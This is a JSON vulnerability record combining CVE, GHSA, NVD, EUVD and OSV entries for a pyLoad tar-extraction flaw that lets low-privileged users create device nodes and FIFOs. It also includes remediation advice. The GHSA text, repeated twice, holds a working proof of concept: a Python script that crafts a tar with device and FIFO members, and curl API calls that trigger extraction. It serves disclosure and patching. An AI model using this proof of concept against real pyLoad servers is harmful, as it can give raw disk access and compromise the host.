{"id":"CVE-2026-123815","aliases":["EUVD-2026-120451","GHSA-fr26-jjhm-638c"],"status":"published","title":"pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)","description":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev102, UnTar._safe_extractall in src/pyload/plugins/extractors/UnTar.py validates archive member paths and link targets but does not call TarInfo.isdev to reject special tar member types before calling tarfile.extractall. On supported Python 3.9 through 3.13 runtimes, tarfile defaults to the fully_trusted extraction filter, so a user with ADD and STATUS permissions can cause extraction of a crafted archive containing character devices, block devices, or FIFOs. Python 3.14 defaults to a safe extraction filter. When pyLoad runs with operating-system privileges that permit device creation, including the official root-based Docker deployment, the archive can expose raw devices and compromise the host. Non-root deployments can still create FIFOs that cause hangs or IPC confusion. This issue is fixed in version 0.5.0b3.dev102.","severity":{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00372,"percentile":0.31566,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-22","CWE-434"],"published":"2026-10-09T17:08:58Z","modified":"2026-11-10T10:46:29Z","affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.5.0b3.dev101"}]}]},{"source":"osv","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.5.0b3.dev101"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev100","0.5.0b3.dev101","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]}],"products":[{"vendor":"pyload","product":"pyload"}],"references":[{"url":"https://github.com/pyload/pyload/security/advisories/GHSA-fr26-jjhm-638c","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/pyload/pyload/commit/09eec1b431b6942a1917f094f2c77bfbf5637f60","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/advisories/GHSA-fr26-jjhm-638c"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/123xxx/CVE-2026-123815.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-123815","tags":["advisory"]},{"url":"https://github.com/pyload/pyload","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-123815","title":"pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)","description":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev102, UnTar._safe_extractall in src/pyload/plugins/extractors/UnTar.py validates archive member paths and link targets but does not call TarInfo.isdev to reject special tar member types before calling tarfile.extractall. On supported Python 3.9 through 3.13 runtimes, tarfile defaults to the fully_trusted extraction filter, so a user with ADD and STATUS permissions can cause extraction of a crafted archive containing character devices, block devices, or FIFOs. Python 3.14 defaults to a safe extraction filter. When pyLoad runs with operating-system privileges that permit device creation, including the official root-based Docker deployment, the archive can expose raw devices and compromise the host. Non-root deployments can still create FIFOs that cause hangs or IPC confusion. This issue is fixed in version 0.5.0b3.dev102.","status":"published","published":"2026-11-09T21:13:15.779Z","modified":"2026-11-09T21:13:15.779Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna"}],"cwes":["CWE-22","CWE-434"],"updated_at":"2026-11-09T22:35:08.962494Z"}],"euvd":[{"id":"EUVD-2026-120451","description":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev102, UnTar._safe_extractall in src/pyload/plugins/extractors/UnTar.py validates archive member paths and link targets but does not call TarInfo.isdev to reject special tar member types before calling tarfile.extractall. On supported Python 3.9 through 3.13 runtimes, tarfile defaults to the fully_trusted extraction filter, so a user with ADD and STATUS permissions can cause extraction of a crafted archive containing character devices, block devices, or FIFOs. Python 3.14 defaults to a safe extraction filter. When pyLoad runs with operating-system privileges that permit device creation, including the official root-based Docker deployment, the archive can expose raw devices and compromise the host. Non-root deployments can still create FIFOs that cause hangs or IPC confusion. This issue is fixed in version 0.5.0b3.dev102.","status":"published","published":"2026-11-09T21:13:15Z","modified":"2026-11-09T21:13:15Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"updated_at":"2026-11-09T22:18:21.405141Z"}],"ghsa":[{"id":"GHSA-fr26-jjhm-638c","title":"pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)","description":"### Summary\n\n`UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member\n**names** and symlink/hardlink **targets**, but never checks member **types**, and calls\n`tarfile.extractall` without a `filter=`. On Python \u003c 3.14 the default extraction filter is\n`fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create\nthem on disk. When pyLoad runs as root (the official Docker deployment), a block-device\nmember grants raw disk access — full host compromise — reachable by any low-privileged user\nwho can trigger archive extraction (ADD to supply an archive, STATUS to invoke\n`ExtractArchive.extract_package`).\n\n### Details\n\n```python\n# plugins/extractors/UnTar.py:69-79\nfor member in tar.getmembers():\n    if not is_within_directory(...) or \u003csymlink/hardlink target checks\u003e:   # names/links only\n        raise ArchiveError(...)\ntar.extractall(path, members, numeric_owner=numeric_owner)   # no filter=\n```\n\nNo `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation\nin `plugins/base/extractor.py:191-263` is likewise name-only. Python's tarfile only defaults\nto a safe filter in 3.14; supported runtimes (3.9–3.13) honor `mknod` for euid=0 and create\nFIFOs for any euid.\n\n### PoC\n\n```bash\nBASE=http://127.0.0.1:8100\n# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member\npython3 - \u003c\u003c'EOF'\nimport tarfile, io\nt = tarfile.open('dev.bin','w')          # name it *.bin so UnTar (content-sniffed) claims it\nt.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))\ni = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666\nt.addfile(i)\nf = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE\nt.addfile(f); t.close()\nEOF\n\n# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,\n# then trigger extraction\ncurl -s -X POST \"$BASE/api/add_package\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n  -H 'Content-Type: application/json' -d '{\"name\":\"poc\",\"links\":[\"http://x/dev.bin\"],\"dest\":1}'\ncurl -s -X POST \"$BASE/api/service_call\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"service_name\":\"ExtractArchive.extract_package\",\"arguments\":[\"\u003cpid\u003e\"]}'\n\nls -l \u003cextract dir\u003e\n# → crw-rw-rw- 1 root root 1, 3 nulldev      (character device created)\n# → prw-r--r-- 1 root root     pipe          (FIFO created)\n# → -rw-r--r-- 1 root root     marker.txt\n```\n\nNegative control: the same flow with a `../evil` traversal member is rejected\n(`ArchiveError: Attempted path traversal in archive`) and nothing is extracted — the\nGHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary\nis present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is\nreached via non-mapped names — as above — content-sniffed containers, or when 7z is\nabsent/fails.)\n\n### Impact\n\nWith pyLoad as root, a crafted archive can create block/character device nodes at arbitrary\npaths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion),\nor set special bits; non-root deployments still get FIFOs and node entries in\nuser-accessible trees.\n\n### Remediation\n\nIn `_safe_extractall`, reject (or skip) every member that is not a regular file, directory,\nor safe link — e.g. `member.isdev() or isfifo()` → `ArchiveError` — and pass\n`filter=\"data\"` (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply\nthe same member-type validation in the pre-extraction validator so all extractors share it.\n\n### References\n\n- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated,\n  member types not).","status":"published","published":"2026-10-09T17:08:58Z","modified":"2026-11-09T21:13:25Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-09T21:19:53.571625Z"}],"nvd":[{"id":"CVE-2026-123815","description":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev102, UnTar._safe_extractall in src/pyload/plugins/extractors/UnTar.py validates archive member paths and link targets but does not call TarInfo.isdev to reject special tar member types before calling tarfile.extractall. On supported Python 3.9 through 3.13 runtimes, tarfile defaults to the fully_trusted extraction filter, so a user with ADD and STATUS permissions can cause extraction of a crafted archive containing character devices, block devices, or FIFOs. Python 3.14 defaults to a safe extraction filter. When pyLoad runs with operating-system privileges that permit device creation, including the official root-based Docker deployment, the archive can expose raw devices and compromise the host. Non-root deployments can still create FIFOs that cause hangs or IPC confusion. This issue is fixed in version 0.5.0b3.dev102.","status":"published","published":"2026-11-09T22:18:37.943Z","modified":"2026-11-09T22:18:38.067Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"}],"cwes":["CWE-22","CWE-434"],"updated_at":"2026-11-09T23:16:05.865626Z"}],"osv":[{"id":"CVE-2026-123815","title":"pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)","description":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev102, UnTar._safe_extractall in src/pyload/plugins/extractors/UnTar.py validates archive member paths and link targets but does not call TarInfo.isdev to reject special tar member types before calling tarfile.extractall. On supported Python 3.9 through 3.13 runtimes, tarfile defaults to the fully_trusted extraction filter, so a user with ADD and STATUS permissions can cause extraction of a crafted archive containing character devices, block devices, or FIFOs. Python 3.14 defaults to a safe extraction filter. When pyLoad runs with operating-system privileges that permit device creation, including the official root-based Docker deployment, the archive can expose raw devices and compromise the host. Non-root deployments can still create FIFOs that cause hangs or IPC confusion. This issue is fixed in version 0.5.0b3.dev102.","status":"published","published":"2026-11-09T21:13:15.779Z","modified":"2026-11-11T02:48:45.435580715Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-22","CWE-434"],"updated_at":"2026-11-11T03:22:00.901153Z"},{"id":"GHSA-fr26-jjhm-638c","title":"pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)","description":"### Summary\n\n`UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member\n**names** and symlink/hardlink **targets**, but never checks member **types**, and calls\n`tarfile.extractall` without a `filter=`. On Python \u003c 3.14 the default extraction filter is\n`fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create\nthem on disk. When pyLoad runs as root (the official Docker deployment), a block-device\nmember grants raw disk access — full host compromise — reachable by any low-privileged user\nwho can trigger archive extraction (ADD to supply an archive, STATUS to invoke\n`ExtractArchive.extract_package`).\n\n### Details\n\n```python\n# plugins/extractors/UnTar.py:69-79\nfor member in tar.getmembers():\n    if not is_within_directory(...) or \u003csymlink/hardlink target checks\u003e:   # names/links only\n        raise ArchiveError(...)\ntar.extractall(path, members, numeric_owner=numeric_owner)   # no filter=\n```\n\nNo `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation\nin `plugins/base/extractor.py:191-263` is likewise name-only. Python's tarfile only defaults\nto a safe filter in 3.14; supported runtimes (3.9–3.13) honor `mknod` for euid=0 and create\nFIFOs for any euid.\n\n### PoC\n\n```bash\nBASE=http://127.0.0.1:8100\n# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member\npython3 - \u003c\u003c'EOF'\nimport tarfile, io\nt = tarfile.open('dev.bin','w')          # name it *.bin so UnTar (content-sniffed) claims it\nt.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))\ni = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666\nt.addfile(i)\nf = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE\nt.addfile(f); t.close()\nEOF\n\n# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,\n# then trigger extraction\ncurl -s -X POST \"$BASE/api/add_package\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n  -H 'Content-Type: application/json' -d '{\"name\":\"poc\",\"links\":[\"http://x/dev.bin\"],\"dest\":1}'\ncurl -s -X POST \"$BASE/api/service_call\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"service_name\":\"ExtractArchive.extract_package\",\"arguments\":[\"\u003cpid\u003e\"]}'\n\nls -l \u003cextract dir\u003e\n# → crw-rw-rw- 1 root root 1, 3 nulldev      (character device created)\n# → prw-r--r-- 1 root root     pipe          (FIFO created)\n# → -rw-r--r-- 1 root root     marker.txt\n```\n\nNegative control: the same flow with a `../evil` traversal member is rejected\n(`ArchiveError: Attempted path traversal in archive`) and nothing is extracted — the\nGHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary\nis present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is\nreached via non-mapped names — as above — content-sniffed containers, or when 7z is\nabsent/fails.)\n\n### Impact\n\nWith pyLoad as root, a crafted archive can create block/character device nodes at arbitrary\npaths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion),\nor set special bits; non-root deployments still get FIFOs and node entries in\nuser-accessible trees.\n\n### Remediation\n\nIn `_safe_extractall`, reject (or skip) every member that is not a regular file, directory,\nor safe link — e.g. `member.isdev() or isfifo()` → `ArchiveError` — and pass\n`filter=\"data\"` (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply\nthe same member-type validation in the pre-extraction validator so all extractors share it.\n\n### References\n\n- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated,\n  member types not).","status":"published","published":"2026-10-09T17:08:58Z","modified":"2026-11-09T21:30:07.729780623Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-09T21:40:33.762141Z"}]}}
